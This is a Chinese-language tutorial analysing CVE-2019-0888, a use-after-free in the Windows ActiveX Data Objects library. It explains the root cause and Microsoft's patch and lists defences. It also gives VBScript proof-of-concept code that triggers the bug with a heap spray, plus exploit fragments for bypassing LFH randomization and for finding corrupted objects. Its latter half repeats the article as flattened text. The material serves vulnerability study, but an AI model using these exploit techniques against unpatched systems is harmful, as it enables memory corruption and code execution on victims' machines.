CVE-2019-0888:Windows ActiveX数据对象中的Free-After-Free漏洞
字数 1543 2025-08-27 12:33:37

Windows ActiveX数据对象(ADO)中的Free-After-Free漏洞(CVE-2019-0888)分析与利用教学

漏洞概述

CVE-2019-0888是Windows ActiveX数据对象(ADO)组件中的一个安全漏洞,属于Use-After-Free(释放后重用)类型。该漏洞存在于msado15.dll库中,特别影响CRecordset::NextRecordset方法的实现。微软在2019年6月的补丁中修复了此漏洞。

背景知识

ADO技术简介

ADO (ActiveX Data Objects)是一种通过OLE DB提供程序访问和操作数据的API。它允许不同语言的程序访问数据库,在本例中,OLE DB提供程序是Microsoft SQL Server。

基本VBScript ADO示例

On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
    "Provider=SQLOLEDB;" & _
    "Data Source=.\SQLEXPRESS;" & _
    "Initial Catalog=master;" & _
    "Integrated Security=SSPI;" & _
    "Trusted_Connection=True;"
If Err.Number <> 0 Then
    MsgBox("DB open error")
Else
    MsgBox("DB opened")
End If

漏洞详细分析

漏洞位置

漏洞位于CRecordset::NextRecordset方法中,特别是其RecordsAffected参数的处理过程。

漏洞触发条件

当应用程序使用Object类型的变量作为RecordsAffected参数调用NextRecordset方法时:

  1. 方法将该对象的引用计数减1
  2. 同时保持变量仍可引用
  3. 当引用计数降为0时,对象被销毁
  4. 但变量仍保持引用,导致Use-After-Free条件

漏洞代码分析

msado15.dll中,ProcessRecordsAffected函数存在以下问题:

  1. 创建RecordsAffected参数的浅拷贝local_copy_of_RecordsAffected
  2. 调用VariantClear函数处理拷贝
    • 对于VT_DISPATCH类型(VBScript对象),会调用对象的Release方法
    • 减少引用计数,可能销毁对象
  3. 但原始RecordsAffected参数的类型未被清空,仍保持引用

补丁分析

微软修复方案:

  • 移除local_copy_of_RecordsAffected局部变量
  • 直接操作RecordsAffected参数,正确清空其类型

漏洞利用技术

基本利用原语

最简单的利用方式是:

  1. 释放对象
  2. 使用相同大小的受控数据填充堆
  3. 触发Use-After-Free

示例代码:

On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
Set freed_object = CreateObject("ADOR.Recordset")

' 建立数据库连接
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
    "Provider=SQLOLEDB;" & _
    "Data Source=.\SQLEXPRESS;" & _
    "Initial Catalog=master;" & _
    "Integrated Security=SSPI;" & _
    "Trusted_Connection=True;"

' 用于堆喷的对象数组
Dim array(1000)
For i = 0 To 1000
    Set array(i) = CreateObject("ADODB.Connection")
Next

' 堆喷数据:分配大小为0x418(32位msado15.dll中CRecordset的大小)
spray = ChrW(&h4141) & ChrW(&h4141) & _
        ChrW(&h4141) & ChrW(&h4141) & _
        Space(519)

' 触发漏洞
Set Var1 = RS.NextRecordset(freed_object)

' 执行堆喷
For i = 0 To 1000
    array(i).ConnectionString = spray
Next

' 触发Use-After-Free
freed_object.Clone()

高级利用技术

借鉴CVE-2018-8174("双杀"漏洞)的技术,实现:

  1. ASLR绕过
  2. 任意地址读写原语

关键技术要点:

  1. 类型混淆攻击
  2. 利用Class_Terminate回调函数
  3. 通过AssignVar函数实现内存破坏

绕过LFH分配顺序随机化

Windows 8+引入了低碎片堆(LFH)分配顺序随机化,破坏了传统的利用方式。解决方案:

  1. 批量创建新对象而非单个对象
  2. 确保释放的0x108分配最终被重新分配到其中一个对象

改进后的利用代码片段:

Set reuseObjectA_arr=New ReuseClass

Class ReplacingClass_Array
Public Default Property Get Q
    Dim objectImitatingArray
    Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
    
    For i=0 To 6
        DecrementRefcount(reuseObjectA_arr)
    Next
    
    For i=0 to UBound(UafArrayA)
        Set objectImitatingArray=New FakeReuseClass
        objectImitatingArray.mem = FakeArrayString
        For j=0 To 6
            Set UafArrayA(i,j)=objectImitatingArray
        Next
    Next
End Property
End Class

检测成功利用的对象

For i=0 To UBound(UafArrayA)
    Err.Clear
    a = UafArrayA(i,0).mem(Empty16BString_addr)
    If Err.Number = 0 Then Exit For
End If

If i > UBound(UafArrayA) Then
    MsgBox("Could not find an object corrupted by reuseObjectA_arr")
Else
    MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
    Set UafArrayA_obj = UafArrayA(i,0)
End If

防御措施

  1. 应用微软2019年6月安全补丁
  2. 启用DEP(数据执行保护)
  3. 启用ASLR(地址空间布局随机化)
  4. 限制ActiveX控件执行
  5. 使用最新的Windows版本(具有LFH分配顺序随机化)

参考资源

  1. SophosLabs GitHub repository上的PoC
  2. CVE-2018-8174相关分析文章
  3. 微软安全公告

总结

CVE-2019-0888是一个典型的Use-After-Free漏洞,通过精心构造的VBScript代码可以实现内存破坏和任意代码执行。虽然微软已发布补丁修复,但研究此类漏洞有助于理解:

  1. ActiveX组件安全机制
  2. 内存破坏漏洞利用技术
  3. 现代操作系统防御机制及其绕过方法

对于安全研究人员,建议在受控环境中研究此漏洞,并始终遵循负责任的漏洞披露原则。

Windows ActiveX数据对象(ADO)中的Free-After-Free漏洞(CVE-2019-0888)分析与利用教学 漏洞概述 CVE-2019-0888是Windows ActiveX数据对象(ADO)组件中的一个安全漏洞,属于Use-After-Free(释放后重用)类型。该漏洞存在于 msado15.dll 库中,特别影响 CRecordset::NextRecordset 方法的实现。微软在2019年6月的补丁中修复了此漏洞。 背景知识 ADO技术简介 ADO (ActiveX Data Objects)是一种通过OLE DB提供程序访问和操作数据的API。它允许不同语言的程序访问数据库,在本例中,OLE DB提供程序是Microsoft SQL Server。 基本VBScript ADO示例 漏洞详细分析 漏洞位置 漏洞位于 CRecordset::NextRecordset 方法中,特别是其 RecordsAffected 参数的处理过程。 漏洞触发条件 当应用程序使用Object类型的变量作为 RecordsAffected 参数调用 NextRecordset 方法时: 方法将该对象的引用计数减1 同时保持变量仍可引用 当引用计数降为0时,对象被销毁 但变量仍保持引用,导致Use-After-Free条件 漏洞代码分析 在 msado15.dll 中, ProcessRecordsAffected 函数存在以下问题: 创建 RecordsAffected 参数的浅拷贝 local_copy_of_RecordsAffected 调用 VariantClear 函数处理拷贝 对于 VT_DISPATCH 类型(VBScript对象),会调用对象的 Release 方法 减少引用计数,可能销毁对象 但原始 RecordsAffected 参数的类型未被清空,仍保持引用 补丁分析 微软修复方案: 移除 local_copy_of_RecordsAffected 局部变量 直接操作 RecordsAffected 参数,正确清空其类型 漏洞利用技术 基本利用原语 最简单的利用方式是: 释放对象 使用相同大小的受控数据填充堆 触发Use-After-Free 示例代码: 高级利用技术 借鉴CVE-2018-8174("双杀"漏洞)的技术,实现: ASLR绕过 任意地址读写原语 关键技术要点: 类型混淆攻击 利用 Class_Terminate 回调函数 通过 AssignVar 函数实现内存破坏 绕过LFH分配顺序随机化 Windows 8+引入了低碎片堆(LFH)分配顺序随机化,破坏了传统的利用方式。解决方案: 批量创建新对象而非单个对象 确保释放的0x108分配最终被重新分配到其中一个对象 改进后的利用代码片段: 检测成功利用的对象 防御措施 应用微软2019年6月安全补丁 启用DEP(数据执行保护) 启用ASLR(地址空间布局随机化) 限制ActiveX控件执行 使用最新的Windows版本(具有LFH分配顺序随机化) 参考资源 SophosLabs GitHub repository上的PoC CVE-2018-8174相关分析文章 微软安全公告 总结 CVE-2019-0888是一个典型的Use-After-Free漏洞,通过精心构造的VBScript代码可以实现内存破坏和任意代码执行。虽然微软已发布补丁修复,但研究此类漏洞有助于理解: ActiveX组件安全机制 内存破坏漏洞利用技术 现代操作系统防御机制及其绕过方法 对于安全研究人员,建议在受控环境中研究此漏洞,并始终遵循负责任的漏洞披露原则。